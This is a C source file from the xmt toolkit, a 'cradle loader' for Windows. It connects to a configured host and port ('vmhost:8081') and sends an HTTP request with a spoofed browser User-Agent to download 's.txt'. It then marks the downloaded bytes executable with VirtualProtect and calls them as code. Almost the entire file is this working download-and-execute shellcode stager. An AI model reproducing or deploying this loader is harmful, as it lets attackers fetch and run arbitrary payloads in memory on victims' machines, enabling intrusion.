github.com/iDigitalFlame/xmt@v0.5.4/tools/c_download.c (about)

     1  // XMT C Cradle Loader
     2  //
     3  // Copyright (C) 2020 - 2023 iDigitalFlame
     4  //
     5  // This program is free software: you can redistribute it and/or modify
     6  // it under the terms of the GNU General Public License as published by
     7  // the Free Software Foundation, either version 3 of the License, or
     8  // any later version.
     9  //
    10  // This program is distributed in the hope that it will be useful,
    11  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    12  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    13  // GNU General Public License for more details.
    14  //
    15  // You should have received a copy of the GNU General Public License
    16  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    17  //
    18  // NOTE(dij): This program does NOT account for system proxies.
    19  // TODO(dij): Rewrite this? using WinInet, since it has proxy support.
    20  //              Also maybe a powershell loader?
    21  //
    22  
    23  #define HOST "vmhost\0"
    24  #define PORT "8081\0"
    25  #define PATH "s.txt\0"
    26  #define _WIN32_WINNT 0x0501
    27  
    28  #include <ws2tcpip.h>
    29  
    30  int get(char *host, char *port, char *path, unsigned char **buffer) {
    31      SOCKET s;
    32      struct addrinfo i, *a, *c;
    33      memset(&i, 0, sizeof(i));
    34      i.ai_family = PF_INET;
    35      i.ai_socktype = SOCK_STREAM;
    36      if (getaddrinfo(host, port, &i, &a) != 0) {
    37          return 0;
    38      }
    39      for (c = a; c != NULL; c = c->ai_next) {
    40          s = socket(c->ai_family, c->ai_socktype, c->ai_protocol);
    41          if (s == INVALID_SOCKET) {
    42              continue;
    43          }
    44          if (connect(s, c->ai_addr, (int)c->ai_addrlen) != SOCKET_ERROR) {
    45              break;
    46          }
    47          closesocket(s);
    48      }
    49      if (s == NULL || s == INVALID_SOCKET) {
    50          return 0;
    51      }
    52      freeaddrinfo(a);
    53      unsigned char *m = malloc(256 + strlen(host) + strlen(port) + strlen(path));
    54      strcpy(m, "GET /\0");
    55      strncat(m + 5, path, strlen(path));
    56      strncat(m, " HTTP/1.1\r\nHost: \0", 19);
    57      strncat(m, host, strlen(host));
    58      strcat(m, ":\0");
    59      strncat(m, port, strlen(port));
    60      strncat(m, "\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.1) Gecko/20100101 Firefox/71.0\r\nAccept: text/html\r\n\r\n\0", 151);
    61      if (send(s, m, strlen(m), 0) == SOCKET_ERROR) {
    62          closesocket(s);
    63          return 0;
    64      }
    65      free(m);
    66      int t = 0;
    67      int r = 0;
    68      int p = 4096;
    69      unsigned char *y = NULL;
    70      unsigned char *b = calloc(4096, 1);
    71      for (;;) {
    72          r = recv(s, b + t, 4096, 0);
    73          if (r <= 0) {
    74              break;
    75          }
    76          if (t + r > p) {
    77              y = b;
    78              if ((b = realloc(b, (t + r) * 2)) == NULL) {
    79                  b = y;
    80                  break;
    81              }
    82              p = (t + r) * 2;
    83          }
    84          t += r;
    85      }
    86      p = 0;
    87      for (r = 0; r < t && p < 4; r++) {
    88          if (b[r] == '\r' || b[r] == '\n') {
    89              p++;
    90          } else {
    91              p = 0;
    92          }
    93      }
    94      *buffer = malloc(t - r);
    95      memcpy(*buffer, b + r, t - r);
    96      free(b);
    97      closesocket(s);
    98      return t - r;
    99  }
   100  
   101  int main() {
   102      WSADATA w;
   103      if (WSAStartup(MAKEWORD(2, 2), &w) != 0) {
   104          return 1;
   105      }
   106      unsigned char *b;
   107      int s = get(HOST, PORT, PATH, &b);
   108      WSACleanup();
   109      if (s == 0) {
   110          return 1;
   111      }
   112      DWORD o;
   113      if (VirtualProtect(b, s, PAGE_EXECUTE_READWRITE, &o) == 0) {
   114          return 1;
   115      }
   116      ((void (*)())b)();
   117      return 0;
   118  }